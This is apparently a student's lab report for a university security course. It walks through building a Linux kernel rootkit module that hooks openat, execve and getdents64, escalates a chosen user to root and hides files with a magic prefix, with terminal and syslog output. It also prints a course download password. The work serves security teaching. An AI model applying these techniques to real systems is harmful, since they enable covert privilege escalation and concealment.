Assignment 2

Name: Yun Hye Nam
Password: 101211656

Codes included:
See **rootkit.c** for
- Part A, Q4, Q8
- Part B
- Part C

See **insert.sh** for
- Part B Q2
- Part C Q2

Part A

1. Ran command: **wget --user comp4108 --password z48QVUanF2wYV49A https://www.cisl.carleton.ca/~hpatel/comp4108/private/code/a2/a2.tar.gz** and unzipped the tar file using **tar -xvzf a2.tar.gz**

2. Ran **sudo bash** and provided password

3. Ran command **cat /proc/kallsyms | grep sys_call_table** to get
ffffffff864013c0 R sys_call_table
This reads /proc/kallsyms and searches for line containing "sys_call_table" string. The leftmost string in the output is the memory address.
So, the address is **ffffffff864013c0**

```
root@COMP4108-a2:/home/student# cat /proc/kallsyms | grep sys_call_table
ffffffff864002a0 R x32_sys_call_table
ffffffff864013c0 R sys_call_table
```

4. See **rootkit.c** code. Passed "**sys_call_table"** as an argument to *kallsyms_lookup_name* in *get_syscall_table_bf*, replacing [NEEDED FOR PART A]

5. Ran **make all** command as specified by Makefile and confirmed its building.

```
root@COMP4108-a2:/home/student/a2# make all
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
  CC [M]  /home/student/a2/rootkit.o
/home/student/a2/rootkit.c:74:14: warning: 'magic_prefix' defined but not used [-Wunuse
d-variable]
   74 | static char* magic_prefix;
      |              ^~~~~~~~~~~~
/home/student/a2/rootkit.c:62:12: warning: 'root_uid' defined but not used [-Wunused-va
riable]
   62 | static int root_uid;
      |            ^~~~~~~~
  Building modules, stage 2.
  MODPOST 1 modules
  CC [M]  /home/student/a2/rootkit.mod.o
  LD [M]  /home/student/a2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
root@COMP4108-a2:/home/student/a2# rm make clean
rm: cannot remove 'make': No such file or directory
rm: cannot remove 'clean': No such file or directory
root@COMP4108-a2:/home/student/a2# make all
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
  Building modules, stage 2.
  MODPOST 1 modules
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
```

6. As root user, ran command **./insert.sh**.

```
root@COMP4108-a2:/home/student/a2# ./insert.sh
```

Executing **lsmod** shows rootkit (at the top). The lsmod man page says that this command shows which kernel modules are currently loaded.

```
root@COMP4108-a2:/home/student/a2# lsmod
Module                  Size  Used by
rootkit                16384  0
intel_rapl_msr         20480  0
intel_rapl_common      24576  1 intel_rapl_msr
kvm_intel             286720  0
kvm                   667648  1 kvm_intel
crct10dif_pclmul       16384  1
ghash_clmulni_intel    16384  0
aesni_intel           372736  0
crypto_simd            16384  1 aesni_intel
cirrus                 16384  0
cryptd                 24576  2 crypto_simd,ghash_clmulni_intel
```

Through **sudo tail -f /var/log/syslog** , confirmed rootkit loading on syslog. The *tail -f* tails the syslog at real time.

```
Oct  3 15:07:34 COMP4108-a2 kernel: [ 1091.870090] Rootkit module initializing.
Oct  3 15:07:34 COMP4108-a2 kernel: [ 1091.886633] Rootkit module is loaded!
```

7. As root user, ran **./eject.sh**
lsmod shows rootkit gone.

```
root@COMP4108-a2:/home/student/a2# ./eject.sh
root@COMP4108-a2:/home/student/a2# lsmod
Module                  Size  Used by
intel_rapl_msr         20480  0
intel_rapl_common      24576  1 intel_rapl_msr
kvm_intel             286720  0
kvm                   667648  1 kvm_intel
crct10dif_pclmul       16384  1
ghash_clmulni_intel    16384  0
aesni_intel           372736  0
crypto_simd            16384  1 aesni_intel
cirrus                 16384  0
cryptd                 24576  2 crypto_simd,ghash_clmulni_intel
glue_helper            16384  1 aesni_intel
drm_kms_helper        184320  3 cirrus
fb_sys_fops            16384  1 drm_kms_helper
input_leds             16384  0
joydev                 24576  0
syscopyarea            16384  1 drm_kms_helper
```

Ran **sudo tail -f /var/log/syslog** and checked its unloading.

```
Oct  3 15:10:09 COMP4108-a2 kernel: [ 1246.858066] Rootkit module is unloaded!
Oct  3 15:10:09 COMP4108-a2 kernel: [ 1246.858069] Rootkit module cleanup copmlete.
```

8. On the rootkit.c file, in its init_rootkit and cleanup_rootkit functions, I called **protect_memory()** and **unprotect_memory()** and uncommented the **original_openat** and **new_openat** lines. What this does: As the rootkit module loads, we unprotect memory, allowing the syscall table to be updated with the new hook, and once it is hooked, we protect the memory. As the rootkit module unloads, memory is unprotected again, allowing us to update the syscall table to original openat. After that, we protect memory at the end.
Then I ran **make clean** and then **make all** to rebuild the updated rootkit module and loaded it by running **./insert.sh** as root.
Then I created a random .txt file named **sometxt.txt** by running **touch somettxt.txt** because new_openat() checks for .txt files and prints it out.

```
root@COMP4108-a2:/home/student# touch sometxt.txt
```

On syslog (**tail -f /var/log/syslog)** this was generated:

```
Oct  3 15:53:51 COMP4108-a2 kernel: [ 3868.887765] openat() called for sometxt.txt
```

9.
P7 Modular-design helps mitigate rootkits. As in Part B, once an attacker gains the root UID when executing binaries, the attacker can impersonate root user system-wide. A modular design that segregates privileges across units in file systems can prevent the attacker from gaining root user privilege across the whole machine or making changes anywhere, even if they gained root user privilege to a unit in the machine or got to change that unit.

P14 Evidence-Production. A system activity monitoring tool can help detect malicious rootkit insertion. Since rootkit can allow a malicious actor to quietly carry out an attack, detection of rootkit becomes important. This can be done by for example, alarm on suspicious invocations of the insmod command or verifying the safety of each loaded kernel module. This can allow the system administrator to take action before the malicious actor uses rootkit to carry out further attacks.

Part B

1. See **rootkit.c** for the code.

First, created the *original_execve* variable, which stores the original execve function. It is in static t_syscall type.

Then wrote a *new_execve* function.
The name of the executed file is the first argument of execve, according to the man page https://linux.die.net/man/2/execve. To find that register, ran the command uname -a to find we have x86-64 architecture. According to the syscall man page https://www.man7.org/linux/man-pages/man2/syscall.2.html, the first argument register for x86-64 is *rdi*. So the file name is found by the syscall *rdi* register: *regs->di*
Then, *strncpy_from_user()* function copies that value into the char* *filename* variable. If there is an error, it frees the *filename* variable memory and exits.
According to https://elixir.bootlin.com/linux/v5.4.171/source/include/linux/cred.h, *current_euid*() returns the effective UID information as *kuid_t* type. *kuid_t* is a struct with attribute *val* as *uid_t* type https://elixir.bootlin.com/linux/v5.4.171/source/include/linux/uidgid.h#L23. But *uid_t* is also defined as *__kernel_uid32_t* https://elixir.bootlin.com/linux/v5.4.171/source/include/linux/types.h#L32, which is unsigned integer type https://elixir.bootlin.com/linux/v5.4.171/source/include/uapi/asm-generic/posix_types.h#L49. So we can pass *current_euid().val* as an unsigned int which is the current effective UID.
Then we print the *filename* and *euid* variable to syslog using *printk().*
At the end of the function, it frees the filename memory through *kfree()* and invokes the original execve syscall.

As we load the rootkit module, we call *init_rootkit*().
In the init module, the original execve function is found by looking up *__NR_execve* on the syscall table https://elixir.bootlin.com/linux/v5.4.171/source/arch/sh/include/uapi/asm/unistd_64.h and is passed into the *original_execve* variable: *original_execve = (t_syscall)__sys_call_table[__NR_execve];*
Then once memory is unprotected, the *new_execve* function is called and updated in the syscall table.
After it is hooked, we protect the memory.

As we unload the module, *cleanup_rootkit*() is called. Here, we unprotect the memory, so that we can revert the syscall table with the *original_execve*, unhooking the syscall. Then we protect memory back.

First, I ran **make all** and **./insert.sh** on the terminal with root user. Then on a second terminal as student user, I ran **sudo tail -f /var/log/syslog**. As we see */usr/bin/sudo* is first executed by the

user with the effective UID 1001 (student user) who, through setuid bit, acquired the root user privilege to run */usr/bin/tail* with effective UID 0 (root). When I run **ls** (/bin/ls), it is now back with student user privileges (euid = 1001).
Then on the root user terminal, I ran **./eject.sh**. The script is executed with eUID = 0 (root), which executes *rmmod* command also with eUID = 0 (root) to unload the rootkit module.
Afterwards I read the syslog (sudo cat /var/log/syslog | less) to verify:

```
Oct  5 23:36:17 COMP4108-a2 kernel: [117743.000831] Executing /usr/bin/sudo
Oct  5 23:36:17 COMP4108-a2 kernel: [117743.000835] Effective UID 1001
Oct  5 23:36:17 COMP4108-a2 kernel: [117743.019710] Executing /usr/bin/tail
Oct  5 23:36:17 COMP4108-a2 kernel: [117743.019712] Effective UID 0
Oct  5 23:36:46 COMP4108-a2 kernel: [117772.061430] Executing /bin/ls
Oct  5 23:36:46 COMP4108-a2 kernel: [117772.061435] Effective UID 1001
```

```
Oct  5 23:36:51 COMP4108-a2 kernel: [117776.867643] Executing ./eject.sh
Oct  5 23:36:51 COMP4108-a2 kernel: [117776.867647] Effective UID 0
Oct  5 23:36:51 COMP4108-a2 kernel: [117776.872396] Executing /sbin/rmmod
Oct  5 23:36:51 COMP4108-a2 kernel: [117776.872399] Effective UID 0
Oct  5 23:36:51 COMP4108-a2 kernel: [117776.877863] Rootkit module is unloaded!
Oct  5 23:36:51 COMP4108-a2 kernel: [117776.877882] Rootkit module cleanup copmlete.
Oct  5 23:36:51 COMP4108-a2 systemd[1]: Starting Daily apt download activities
```

2. See **rootkit.c** and **insert.sh**
The current user is student (whoami command) and its UID is 1001 (id command). In insert.sh, set the ROOT_UID shell variable as 1001 and passed that as the root_uid parameter to insmod command.
In rootkit.c, we pass the command line argument to the module through *module_param()*. Its arguments are the variable name (root_uid), its type (int) and its permissions (0) according to https://tldp.org/LDP/lkmpg/2.6/html/x323.html.

In **cred.c** https://elixir.bootlin.com/linux/v5.4.171/source/kernel/cred.c, *prepare_kernel_cred()* function returns a pointer to a new initialized cred struct if the argument is NULL. If the argument is NULL, it initializes cred as *init_cred* and then verifies and returns this new cred with *get_cred()* https://elixir.bootlin.com/linux/v5.4.171/source/include/linux/cred.h#L247. *Init_cred* https://elixir.bootlin.com/linux/v5.4.171/source/kernel/cred.c#L41 has *uid* attribute with value *GLOBAL_ROOT_UID*, which is defined as *KUIDT_INIT(0)* https://elixir.bootlin.com/linux/v5.4.171/source/include/linux/uidgid.h#L55. *KUIDT_INIT(0)* is a *kuid_t* struct with value = 0 https://elixir.bootlin.com/linux/v5.4.171/source/include/linux/uidgid.h#L30, meaning it prepares a new cred whose uid is that of the root user.

So in the **new_execve()** method, we prepare a new cred with
*struct cred *new_cred;*
new_cred = prepare_kernel_cred(NULL);

Then we set this new cred to the current user. This is done by *commit_creds()* method in **cred.c,** providing the new cred pointer as the argument: *commit_creds(new_cred);*

Verification:

1) On a student terminal I ran command **whoami**, which gave **student**.
2) On a second root terminal, I ran **./insert.sh** to load the rootkit module.
3) On the student terminal, I ran **whoami** again, which now gave **root**.
4) On the root terminal, I ran **./eject.sh** to unload the module.
5) On student terminal, I ran **whoami**, which is now back to **student**.

```
student@COMP4108-a2:~$ whoami
student
student@COMP4108-a2:~$ whoami
root
student@COMP4108-a2:~$ whoami
student
```

```
root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2# ./eject.sh
root@COMP4108-a2:/home/student/a2#
```

Part C

1. See **rootkit.c**

We create static t_syscall variable to store the original getdents64() syscall: *original_getdents64*

According to the unistd_64.h header https://elixir.bootlin.com/linux/v5.4.171/source/arch/sh/include/uapi/asm/unistd_64.h, we can look up the address of the original *getdents64()* sycall on the syscall table with index *__NR_getdents64*:   original_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64]; This is called in the init method.

Description of *new_getdents64*() function:
According to the getdents64 man page, the second argument of original getdents is the directory entries buffer https://linux.die.net/man/2/getdents64. The *rsi* register gives the second argument according to the syscall man page https://www.man7.org/linux/man-pages/man2/syscall.2.html, so *regs->si* represents the directory entries it read.

Then we call the original *getdents64*() method. Its return value, *ret*, is the number of bytes it will read according to the getdents64 man page https://linux.die.net/man/2/getdents64. If negative, we have an error so we exit.

We declare a *struct linux_dirent ** variable *kdirp* to point to the directory entries buffer in kernel space. Using *kdirp = kmalloc(ret, GFP_KERNEL),* we allocate kernel memory for the directory entries buffer, with the number of bytes read *ret* set as the buffer size.

Then we copy the dirents in user space *regs->si* to memory location pointed by *kdirp* in the kernel space using *copy_from_user(kdirp, (void*) regs->si, ret)*. At failure (negative return value), free *kdirp* using kfree() and exit.

Using the code example from the man page https://linux.die.net/man/2/getdents64, we iterate over the entries buffer using a for loop:

1. *for (bpos = 0; bpos < ret;)*: Starting from int bpos = 0: if bpos is less than the size of buffer, *ret*, then go into the loop block. Otherwise, break the loop:
2. A struct *linux_dirent* pointer *d* is set to point to the buffer at address kdirp + bpos: *d = (struct linux_dirent *)((void *)kdirp + bpos);*
   Here, kdirp is cast to void* to increment the pointer by bpos, and not by bpos multiplied by the size of linux_dirent struct.
   Since *bpos* = 0, *d* points at the start of the buffer, which contains the first directory entry.
3. Then use *printk()* to print out the *d->d_name*, the first entry name.
4. Add the first entry length d->d_reclen to bpos*: bpos += d->d_reclen;*

5. Start the second loop. Check if the new *bpos* is less than the size of the buffer, *ret*. Otherwise, break the loop.
6. *d* is set to point to the memory pointed by *kdirp+bpos*. Now it is the location in the buffer after the length of the first dirent, i.e. the location of the second dirent.
7. *printk()* prints the second entry *d->d_name*.
8. Add to *bpos* the new offset *d->d_reclen*
9. Repeat loop until *bpos* is equal to *ret*.

This will print all directory entry names.

Then we *kfree(kdirp)* to free the buffer memory and exit by returning the original *ret*.

This *new_getdents64()* function will be used to update the syscall table as a hook in the init function, in between memory unprotection and protection: *__sys_call_table[__NR_getdents64] = (unsigned long) new_getdents64*;

In the cleanup function, we will unhook the syscall by putting back the original getdents64() on the syscall table in between unprotecting and protecting memory:
__sys_call_table[__NR_getdents64] = (unsigned long)original_getdents64;

This is the screenshot of **sudo tail -f /var/log/syslog** after running command **ls** in the a2 directory with rootkit loaded.

```
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.184159] Executing /bin/ls
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.184163] Effective UID 0
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.186929] getdents64() hook invoked
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.186973] entry: rootkit.o
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.186976] entry: .rootkit.mod.o.cmd
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.186978] entry: ..
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.186981] entry: insert.sh
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.186983] entry: rootkit.c
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.186986] entry: rootkit.mod.c
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.186988] entry: rootkit.ko
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.186991] entry: .rootkit.ko.cmd
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.186993] entry: Makefile
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.186996] entry: modules.order
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.186998] entry: rootkit.mod.o
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.187001] entry: .rootkit.o.cmd
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.187003] entry: eject.sh
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.187006] entry: .
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.187008] entry: .rootkit.mod.cmd
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.187017] entry: Module.symvers
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.187019] entry: rootkit.mod
Oct 10 13:46:56 COMP4108-a2 kernel: [ 1173.187095] getdents64() hook invoked
```

2. See **rootkit.c** and **insert.sh**

In **insert.sh**, to pass the magic_prefix parameter sys, we declare shell variable *MAGIC_PREFIX=\$sys\$* with the slash to escape the dollar sign (to prevent the dollar sign from taking an argument) and pass that as a parameter to the insmod command with *magic_prefix=$MAGIC_PREFIX*.

In **rootkit.c**, we receive the parameter through *module_param(magic_prefix, charp, 0);*
According to https://tldp.org/LDP/lkmpg/2.6/html/x323.html, the first argument is the parameter received (magic_prefix), the second is the type of parameter (char pointer) and third is the permission 0.

Then create the *sys_lol_hidden.txt* file in the system with **touch \$sys\$_lol_hidden.txt** command. The slash escapes the dollar sign. **ls -l** shows it was created

```
root@COMP4108-a2:/home/student/a2# ls -l
total 72
-rw-r--r-- 1 root    root        0 Oct 10 13:47 '$sys$_lol_hidden.txt'
-rwxrwxr-x 1 student student   107 Feb  1  2024  eject.sh
-rwxrwxr-x 1 student student   250 Oct 10 13:45  insert.sh
-rw-rw-r-- 1 student student   174 Feb  1  2024  Makefile
-rw-rw-r-- 1 student student    28 Oct 10 13:45  modules.order
-rw-rw-r-- 1 student student     0 Oct 10 13:45  Module.symvers
-rw-rw-r-- 1 student student  9560 Oct 10 13:45  rootkit.c
-rw-rw-r-- 1 student student 13040 Oct 10 13:45  rootkit.ko
-rw-rw-r-- 1 student student    28 Oct 10 13:45  rootkit.mod
-rw-rw-r-- 1 student student  1436 Oct 10 13:45  rootkit.mod.c
-rw-rw-r-- 1 student student  4408 Oct 10 13:45  rootkit.mod.o
-rw-rw-r-- 1 student student  9992 Oct 10 13:45  rootkit.o
```

Back at **rootkit.c**, modify the new_getdents64() function.
We allocate some kernel memory of *ret* size for *new_kdirp* of type struct linux_dirent*. This will be a pointer to the modified dirents buffer. The modified dirents buffer will hold all dirents without the magic prefix. The length of these dirents is represented by variable *length_minus_magic_prefix*, which starts at 0.

While looping through the directory entries in the buffer, check if the entry name does not start with the magic prefix: *strncmp(d->d_name+1, magic_prefix, strlen(magic_prefix))!=0*.
Here strncmp() compares the entry name string and magic_prefix string up to the length of magic_prefix. If it does not return 0, we have found an entry without the magic prefix.

If it does not start with the magic prefix, we copy its dirent structure to the modified dirents buffer, using *memcpy((void *)new_kdirp+length_minus_magic_prefix, (void *)d, d->d_reclen);*
This copies the source data pointed by *d*, which is the each dirent without the magic prefix, to the destination address pointed by *new_kdirp* + *length_minus_magic_prefix*, the new_kdirp buffer at index *length_minus_magic_prefix*, up to the number of bytes *d->d_reclen*, the length of that magic-prefix-less dirent. Afterwards, we increment *length_minus_magic_prefix* by the length of the dirent *d->d_reclen*, so that the next dirent without magic-prefix will be copied to the memory location right after the current one.
When the loop finishes the *new_kdirp* buffer will hold all magic-prefix-less dirents at *length_minus_magic_prefix* bytes.

Then we replace the original dirent buffer in userspace pointed by *regs->si*, with the *new_kdirp* buffer. Since the *new_kdirp* buffer is in kernel space, we copy it to userspace: *copy_to_user((void *)regs->si, (void *) new_kdirp, length_minus_magic_prefix*). This copies the *length_minus_magic_prefix* bytes of data at source kernelspace address *new_kdirp* to the destination userspace address *regs->si*. This changes the second argument register of the getdents64 syscall so that getdents64 will read only the directory entries without the magic prefix.

If this results in an error, free *new_kdirp* and *kdirp* using kfree() and exit. If successful, we change *ret*, the original number of bytes to be returned, to *length_minus_magic_prefix*, the number of bytes containing actual data after removing directory entries with magic prefix. This will prevent the new getdents syscall from returning more bytes than the modified dirents.

Free kernel addresses *kdirp* and *new_kdirp* using kfree() before returning *ret*.

On a root user terminal, running command **ls -l** shows *sys_lol_hidden.txt*. However, when we insert the rootkit module using **./insert.sh** and run **ls -l** again or **ls -la** (for hidden files), it is gone. See screenshot on the next page.

```
root@COMP4108-a2:/home/student/a2# ls -l
total 72
-rw-r--r-- 1 root    root        0 Oct 10 13:47 '$sys$_lol_hidden.txt'
-rwxrwxr-x 1 student student   107 Feb  1  2024  eject.sh
-rwxrwxr-x 1 student student   250 Oct 10 13:45  insert.sh
-rw-rw-r-- 1 student student   174 Feb  1  2024  Makefile
-rw-rw-r-- 1 student student    28 Oct 10 13:45  modules.order
-rw-rw-r-- 1 student student     0 Oct 10 13:45  Module.symvers
-rw-rw-r-- 1 student student  9560 Oct 10 13:45  rootkit.c
-rw-rw-r-- 1 student student 13040 Oct 10 13:45  rootkit.ko
-rw-rw-r-- 1 student student    28 Oct 10 13:45  rootkit.mod
-rw-rw-r-- 1 student student  1436 Oct 10 13:45  rootkit.mod.c
-rw-rw-r-- 1 student student  4408 Oct 10 13:45  rootkit.mod.o
-rw-rw-r-- 1 student student  9992 Oct 10 13:45  rootkit.o
root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2# ls -l
total 72
-rwxrwxr-x 1 student student   107 Feb  1  2024 eject.sh
-rwxrwxr-x 1 student student   250 Oct 10 13:45 insert.sh
-rw-rw-r-- 1 student student   174 Feb  1  2024 Makefile
-rw-rw-r-- 1 student student    28 Oct 10 13:45 modules.order
-rw-rw-r-- 1 student student     0 Oct 10 13:45 Module.symvers
-rw-rw-r-- 1 student student  9560 Oct 10 13:45 rootkit.c
-rw-rw-r-- 1 student student 13040 Oct 10 13:45 rootkit.ko
-rw-rw-r-- 1 student student    28 Oct 10 13:45 rootkit.mod
-rw-rw-r-- 1 student student  1436 Oct 10 13:45 rootkit.mod.c
-rw-rw-r-- 1 student student  4408 Oct 10 13:45 rootkit.mod.o
-rw-rw-r-- 1 student student  9992 Oct 10 13:45 rootkit.o
root@COMP4108-a2:/home/student/a2# ls -la
total 172
drwxrwxr-x 2 student student  4096 Oct 10 13:47 .
drwxr-xr-x 8 student student  4096 Oct 10 13:44 ..
-rwxrwxr-x 1 student student   107 Feb  1  2024 eject.sh
-rwxrwxr-x 1 student student   250 Oct 10 13:45 insert.sh
-rw-rw-r-- 1 student student   174 Feb  1  2024 Makefile
-rw-rw-r-- 1 student student    28 Oct 10 13:45 modules.order
-rw-rw-r-- 1 student student     0 Oct 10 13:45 Module.symvers
-rw-rw-r-- 1 student student  9560 Oct 10 13:45 rootkit.c
-rw-rw-r-- 1 student student 13040 Oct 10 13:45 rootkit.ko
-rw-rw-r-- 1 student student   238 Oct 10 13:45 .rootkit.ko.cmd
-rw-rw-r-- 1 student student    28 Oct 10 13:45 rootkit.mod
-rw-rw-r-- 1 student student  1436 Oct 10 13:45 rootkit.mod.c
-rw-rw-r-- 1 student student   112 Oct 10 13:45 .rootkit.mod.cmd
-rw-rw-r-- 1 student student  4408 Oct 10 13:45 rootkit.mod.o
-rw-rw-r-- 1 student student 30946 Oct 10 13:45 .rootkit.mod.o.cmd
-rw-rw-r-- 1 student student  9992 Oct 10 13:45 rootkit.o
-rw-rw-r-- 1 student student 49769 Oct 10 13:45 .rootkit.o.cmd
```